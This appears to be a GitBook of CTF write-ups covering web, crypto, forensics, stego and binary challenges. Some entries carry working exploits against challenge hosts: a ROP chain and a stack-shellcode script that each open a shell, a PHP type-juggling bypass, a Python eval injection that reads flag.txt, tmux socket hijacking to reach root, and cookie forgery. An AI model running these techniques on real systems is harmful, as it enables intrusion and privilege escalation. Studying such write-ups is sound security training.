arrow-left

All pages
gitbookPowered by GitBook
1 of 38

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Robot Takeover

url= "http://challenge.ctf.games:31879/robots.txt"
aurl= "http://challenge.ctf.games:31879/"
import urllib.request

def get(url, ua):
  req = urllib.request.Request(
    url,
    data=None,
    headers={
        'User-Agent': ua
    }
  )
  return req

flag = ["" for i in range(35)]
while "" in flag:
  with urllib.request.urlopen(url) as response:
     html = response.read()
     lines = html.decode().split("\n")
     for line in lines:
       if "User-agent:" in line:
         ua = line[12:]
       if "Disallow: " in line:
         thing = line[10:]
         theurl = aurl + thing
         req = get(theurl,ua)
         with urllib.request.urlopen(req) as response:
           resp = response.read().decode()
           if "REJOICE" in resp:
             print(resp, line)
             thonk = resp.split("INDEX ")
             filename = thing[1:]
             a1 = int(thonk[1].split(" IS")[0])
             a2 = int(thonk[2].split(" IN")[0])
             flag[a1] = filename[a2]
             print(flag)

print("".join(flag))

Flushed Revenge

Run script then profit

from pwn import *
import string

def recvline(r):
    lines = [r.recvline().decode()[1:] for _ in range(8)]
    chunks = [[l[i:i+6] for i in range(0, len(l), 7)] for l in lines]
    chars = list(zip(*chunks))
    return chars

def recvall(r, timeout=1):
    while i := r.recvline(timeout=timeout).decode():
        pass

mapping = {}

with remote('challenge.ctf.games', 30877) as r:
    recvall(r, timeout=5)
    for c in string.ascii_letters + string.digits + '+=/':
        r.sendline(c)
        r.recvline()
        result = recvline(r)[0]
        mapping[result] = c
        print(c, '\n'.join(result), sep='\n')
        recvall(r)
    r.sendline('base64 flag.png')
    r.recvline()
    with open('b64flag.hd', 'w') as f:
        while True:
            for i in recvline(r):
                print('\n'.join(i))
                result = mapping.get(i, ' ')
                f.write(result)

Reggae

Now we didn't actually solve this, due to instability with the challenge. But we came up with a script that seemed to be working well before the instance died:

from pwn import *
import random

regex1 = [str(i) for i in range(100, 1000)]
regex2 = [i * 5 for i in 'abcdefghijklmnop']
regex3 = ['1.' + '1'*i for i in range(1, 1000)]
regex4 = ['+' + '1'*i for i in range(3, 1000)]
regex5 = ['<' + 'a'*i + '>' for i in range(1, 1000)]
regex6 = [f'0{i}:{j}' for i in range(10) for j in range(60)]
regex7 = [f'1{i}-01-{j}' for i in range(100, 1000) for j in range(10, 30)]
regex8 = ['a'*i + '@a.com' for i in range(1, 200)]
regex9 = ['https://www.youtube.com/channel/UC' + i + j + 20*k + '/' for i in 'abcdefghijklmnopq' for j in 'abcdefghijklmnopq' for k in 'abcdefghijklmnopq']
regexA = [' '.join(['.....']*i) for i in range(1, 200)]
regexB = ['1.1.1.' + str(i) for i in range(256)]
regexC = ['0'*i for i in range(1, 100)]
regexD = ['00' + '::'*i for i in range(1, 200)]

r = remote("challenge.ctf.games", 30811)
while True:
    r.recvuntil('?\n')
    regex = r.recvline().strip().decode()

    if regex == '^\d{3}$':
        pwned = regex1.pop()
    elif regex == '^\w{5}$':
        pwned = regex2.pop()
    elif regex == '^\d*\.\d+$':
        pwned = regex3.pop()
    elif regex == '^\+?(\d.*){3,}$':
        pwned = regex4.pop()
    elif regex == '<\/?[\w\s]*>|<.+[\W]>':
        pwned = regex5.pop()
    elif regex == '^(0?[1-9]|1[0-2]):[0-5][0-9]$':
        pwned = regex6.pop()
    elif regex == '([12]\d{3}-(0[1-9]|1[0-2])-(0[1-9]|[12]\d|3[01]))':
        pwned = regex7.pop()
    elif regex == '^([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6})*$':
        pwned = regex8.pop()
    elif regex == 'https?:\/\/(www\.)?youtube.com\/channel\/UC([-_a-z0-9]{22})/':
        pwned = regex9.pop()
    elif regex == '^[.-]{1,5}(?:[ \\t]+[.-]{1,5})*(?:[ \\t]+[.-]{1,5}(?:[ \\t]+[.-]{1,5})*)*$':
        pwned = regexA.pop()
    elif regex == '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$':
        pwned = regexB.pop()
    elif regex == r'^(?:(?:\(?(?:00|\+)([1-4]\d\d|[1-9]\d?)\)?)?[\-\.\ \\\/]?)?((?:\(?\d{1,}\)?[\-\.\ \\\/]?){0,})(?:[\-\.\ \\\/]?(?:#|ext\.?|extension|x)[\-\.\ \\\/]?(\d+))?$':
        pwned = regexC.pop()
    elif regex == r'(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))':
        pwned = regexD.pop()
    else:
        print(f"Error couldn't find valid regex for {regex}")

    log.success("Regex: " + regex)
    log.success("Generated: " + pwned)

    r.recvuntil('> ')
    r.sendline(pwned)

Scripting

Saving The World

Download the file, convert the black numbers on the image to alphabet characters, then shift by 13, there's a password (twellicklosescto), use that on steghide, flag.

hashtag
Flag:flag{take_care_of_whiterose}

Clown Show

/src.php has source for the site. We can send a few params, which are hashed together and the result (chars 5-25) are compared to '0' (using ==). In php, this is vulnerable to type juggling. 0e1434 == '0' for example. We simply have to find a set of values satisfying these constraints.

import hashlib

def hash(string):
    return hashlib.sha256(string).hexdigest()

time = b"12345678901"
name = b"test"
import os, binascii
import re
while True:
    answer = binascii.hexlify(os.urandom(20))
    thing = hash(name + answer + time)
    if len(re.findall('^(.{5}0e[\d]{18})', thing)) > 0:
        print(re.findall('^.....0e\d{18}', thing))
        print(name + b" " + answer + b" " + time)
        print(thing)
        exit()

curl http://challenge.ctf.games:31965/index.phparrow-up-right -d 'name=test&answer=6b067ebdb712e42e64e6dcaeb6513afd0f801bfc&time=12345678901'

hashtag
Flag:flag{w00t_W0ot_juggl1n6_1s_2_3z}

Patches

The binary comes with a libc and ld. As the title, description and even text of the binary suggests, the libc is patched. I patched the ELF file so that it would always run with this ld and libc, even on my local end.

patchelf --set-rpath './' ./patches
patchelf --set-interpreter './ld-2.27.so' ./patches

The binary prints some stuff using puts, calls printf("> ") and then calls gets on rbp-0x80.

This creates a buffer overflow. With NX on this time, it'll be a little more difficult. We can execute a classic ret2plt attack, retting into puts@plt(no PIE) to print out puts@got, creating a libc leak. Things are a little harder as the libc is patched. There's no /bin/sh in it, presumably the system doesn't work properly. We talked about this in the Statics and Dynamics writeup from HacktivityCon CTF - with so much code, libc is a ROP gadget gold mine. So once we've used ret2plt to leak the libc base, we can just use ROP to build a chain that uses syscalls to pop a shell.

Note that due to stack alignment we'll need to use a return gadget before returning back into main, and also I chose the instruction at 0x40123c(which is part of main) for convenience.

We can use the pwntools ROP functionality to build a nice and simple ROP chain that reads data into a writeable section, then uses execve(execve(section,NULL,NULL) specifically). Afterwards, we'll send /bin/sh which will get written to said writeable section, thus the total payload will pop a shell.

hashtag
Flag: flag{no_one_gadget_this_time_wait_no_binsh_at_all?}

from pwn import *
NUM_TO_RBP = 0x80
fakestack = 0x404500
padding = b'A'*NUM_TO_RBP + p64(fakestack)
context.arch = 'amd64'
e = ELF("./patches")
libc = e.libc
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 30585)
p.recvuntil('> ')
rop = ROP(e)
#ret2plt libc leak
poprdi = rop.find_gadget(['pop rdi','ret']).address
retgadget = rop.find_gadget(['ret']).address
chain = flat(poprdi, e.got['puts'],e.plt['puts'],retgadget,0x000000000040123c)
pause()
p.sendline(padding + chain)
leak = p.recvline()[:-1].ljust(8,b'\x00')
puts = u64(leak)
log.info(f"Libc leak: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
# Build rop chain to read into RW section, then execve
rop2 = ROP(libc)
rop2.read(0,0x404300,8)
rop2.execve(0x404300,0,0)
payload = padding + rop2.chain()
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()

Alice and Bob

uh blinding attack? i think?

hashtag
flag: flag{schoolhouse_crypto_with_our_favorite_characters}

pow(2,d,n) = 6988657481551558082247356502049073555445834960458123409957016751759848663748957581745765821251560463116160058343877506687308278177291145929388813582775374779608479102031123070130884836405070747154679986845156643241478440121477925138458904221698167029178546870148776935453953443880872009172082519317501149012455829269460844949849248020656483858589254435455075272473746709134180160158806676630015405416208672802814910130080253447731590299483535693930068012996241754780781956591655213569734780947677248231246527075795680938730043262907407842607229576669856011494756829604513528777334097324387135227622403213595884626182

Cryptography

Binary Exploitation

bsidesBOS

Sea Shells

The binary prints the address of our input, then uses read to read input into it. There's 16 bytes of buffer overflow, letting us overwrite rbp and the return address only. As NX is off and our input is on the stack, we can just set the return address to our input, and then put shellcode in our input. After popping a shell, we cat flag.txt to get the flag.

hashtag
Flag: flag{popping_shells_by_the_sea_shore}

from pwn import *
context.arch = 'amd64'
e = ELF("./seashells")
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 32134)
addr = int(p.recvline(),16)
p.recvuntil(":")
sc = asm(shellcraft.amd64.linux.sh())
payload = fit({0: sc, 0x88: addr})
p.sendline(payload)
p.interactive()

Exodia

XOR with key THEFORBIDDENONE

hashtag
Flag: flag{exodia_knows_xor_but_you_are_even_more_powerful}

Forensics

Maelstrom

Mersenne prime XOR

hashtag
flag: flag{more_primes_more_good}

Mercury

good ol' strings + grep

hashtag
Flag: flag{version_control_for_the_solar_system}

Amnesia

Download file, run volatility for profile, install chromehistory plugin, run it on file and flag.

hashtag
Flag: flag{forensic_cookie_huntet}

Patchwork Quilt

We're provided with a download of the VScode source code, slightly modified. The name hinted at a patch happening, so I ran git diff and found a 'backdoor' leading to congonator.me/?id=ZmxhZ3tkb250X3RydXN0X2RvZGd5X2Rvd25sb2Fkc30%3D&key= when a key was pressed. I just decoded the id paramater, which revealed the flag.

hashtag
flag{dont_trust_dodgy_downloads}

Flag-SP Network

2 byte key, we can feasibly bruteforce. All that's left to do is write a decrypt function.

hashtag
Flag: flag{i_guess_2_bytes_wasnt_enough_after_all}

import random

rounds = 5
block_size = 8

invsa = {
  0: 1,
  1: 13,
  2: 14,
  3: 9,
  4: 3,
  5: 6,
  6: 5,
  7: 4,
  8: 8,
  9: 10,
  10: 7,
  11: 2,
  12: 12,
  13: 0,
  14: 15,
  15: 11
}

invsb = {
  0: 3,
  1: 11,
  2: 4,
  3: 10,
  4: 9,
  5: 1,
  6: 2,
  7: 8,
  8: 13,
  9: 0,
  10: 6,
  11: 7,
  12: 15,
  13: 12,
  14: 5,
  15: 14
}
key = [47, 16, 47, 16, 47, 16, 47, 16]


to_bin = lambda x, n=block_size: format(x, "b").zfill(n)
to_int = lambda x: int(x, 2)
to_chr = lambda x: "".join([chr(i) for i in x])
to_ord = lambda x: [ord(i) for i in x]
bin_join = lambda x, n=int(block_size / 2): (str(x[0]).zfill(n) + str(x[1]).zfill(n))
bin_split = lambda x: (x[0 : int(block_size / 2)], x[int(block_size / 2) :])
str_split = lambda x: [x[i : i + block_size] for i in range(0, len(x), block_size)]
xor = lambda x, y: x ^ y

def sinv(a, b):
    return invsa[a], invsb[b]

def pinv(a):
    return a[2] + a[5] + a[0] + a[5] + a[1] + a[7] + a[6] + a[4]

def ks(k):
    return [
        k[i : i + int(block_size)] + k[0 : (i + block_size) - len(k)]
        for i in range(rounds)
    ]


def kx(state, k):
    return [xor(state[i], k[i]) for i in range(len(state))]


def eee(i):
  a, b = bin_split(to_bin(ord(i)))
  sa, sb = s(to_int(a), to_int(b))
  pe = p(
            bin_join((to_bin(sa, int(block_size / 2)), to_bin(sb, int(block_size / 2))))
        )
  return to_int(pe)

def dec(ct):
  decrypted = []
  for i in ct:
    for pt in range(256):
      if eee(chr(pt)) == ord(i):
        decrypted.append(pt)
  return decrypted

def decrypt(ct,k):
  keys = ks(k)
  state = str_split(ct)
  for b in range(len(state)):
    for i in range(rounds):
      rk = dec((state[b]))
      state[b] = to_chr(kx((rk), keys[i])) # xor with key
    print(state[b])
  return [ord(e) for es in state for e in es]
ct = to_str([63, 253, 213, 105, 250, 191, 55, 105, 226, 221, 223, 55, 55, 56, 55, 82, 146, 243, 159, 55, 55, 135, 213, 55, 94, 243, 55, 221, 94, 57, 226, 105, 196, 30, 213, 240, 91, 221, 152, 30, 213, 253, 37, 128])
print(decrypt(ct,key))

Mobility

Used apkstudio, had a look in MainActivity.smali, saw an array which seemed to have chars in the ascii range, so decoded those and got the flag.

hashtag
Flag: flag{classic_apk_decompile_shenanigans}

Fancy Caesar

Didn't even look at the script but since the ciphertext is an array, we can guess that the flag is encrypted byte by byte. We bruteforce all 128 (or so) bytes and then get the flag. We also have to rot13 the flag before we get the actual flag.

hashtag
Flag: flag{meta_flag_is_meta}

Misc

Spy Cam

Open the pcap in wireshark, some TCP packets have a long length. Once converting the hexdump of these to an image, you'll eventually get the flag of:

hashtag
Flag: flag{i_spy_with_my_little_eye}

Dimension 0

Unicode steg,

hashtag
Flag: flag{stego_from_the_zero_width_dimension}

https://330k.github.io/misc_tools/unicode_steganography.htmlarrow-up-right

Tea-mix

The name hinted towards tmux, which was confirmed by session files for tmux in /tmp; including /tmp/tmux-0/tea_mix (root's session) We have permission toy read the socket file, meaning we can attach to the tmux session.

export TERM=xterm
set tty rows/cols to your own terminal
tmux -S /tmp/tmux-0/tea_mix
root shell
cat /root/flag.txt

hashtag
Flag: flag{oooohhhh_tea_mix_sounds_like_tmux_i_get_it}

Give Up

typing exit in the terminal does this

bash-4.4$ exit

exit
exit
3338241147603780238248786938107867350016489922013403739812786768782254742117160331044416747901

not sure why

then running long to bytes on the number reveals the flag

hashtag
Flag:flag{sometimes_it_is_best_to_step_away}

Steg

Secret Romance

Zip password of bonfire, use steghide to get flag of:

hashtag
Flag:flag{the_night_circus}

Alternatively, Le Cirque des Rêves translates to the night circus, which is the flag.

Swipe

Download 'swipe', it's a vim swap file

So create /tmp/swipe folder, move the swap to /tmp/swipe/.flag.png.swp

vim flag.png , will offer to recover file

inside is a png

extract png with dd if=flag.png of=flag2.png bs=1 skip=889

scan qr code in it

boom

hashtag
Flag:flag{swipe_right_on_vim_swap_soisoisoisoisoi}

Baseball

legit cat the file cyber chef go brrr

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base32('A-Z2-7%3D',false)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',falsearrow-up-right)

hashtag
Flag:flag{wow_you_hit_a_homerun_and_really_ran_the_bases_there}

Kiddie Pool

We simply need to unswirl this image, using a site such as

I personally used an angle of 900% which gave me the flag perfectly readably.

hashtag
Flag:flag{whirlpool_in_a_cinch}

https://www.photo-kako.com/en/swirl.cgiarrow-up-right

Ez Bake Oven

So you have an ez bake oven, go to the cookies tab and start baking.

after this, decode the base 64 of the cookie, and then edit it to a date that has passed over 5 days ago, make sure to use mm/dd/yyyy format, then base64 encode this, and then change the cookie for the site to your new base64 encoded cookie.

hashtag
Flag: flag{you_are_the_master_baker}

Play The Harp

This was kinda guessy imo but anyway

strings harp.jpg | less

then i scrolled loads hoping i would see something good and found a long list of chars:

HDNR6GFf
6LLIJK9l
18NL1HWa
GCU85U5g
RQ9CGTH{
T47Y9SUt
2SKZJOBh
H06K09Ze
3BWV54X_
C1VY4EIh
GO0DK9Ua
ZZLVBMZr
8CK8FTGp
TNDQURH_
CEHGS41i

like this but longer, looking at the last char we assemble the flag together

hashtag
flag: flag{the_harp_instrument_has_vertical_strings}

Web

Warmup

Where's The Body

go to sitemap.xml, b64 decode then b58 decode

hashtag
Flag: flag{yellow_is_the_imp0ster}

Yet Another Micro-story Library

Python Deserialization Vulnerability,

hashtag
Flag: [to be added]

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)&input=TWpRMmIzWndZbEV5WmxCUmMyNWFlRFk0WlhKMU4zTkljSHBvYVVFemFHcDFaRlI0V25KciAarrow-up-right
https://xerosecurity.com/wordpress/exploiting-python-deserialization-vulnerabilities/arrow-up-right

Y2K

int(eval(compile('print open("flag.txt", "r").readlines()', '<string>', 'exec')) or 0)

go brrrrr

hashtag
Flag:flag{we_are_saved_from_py2_k}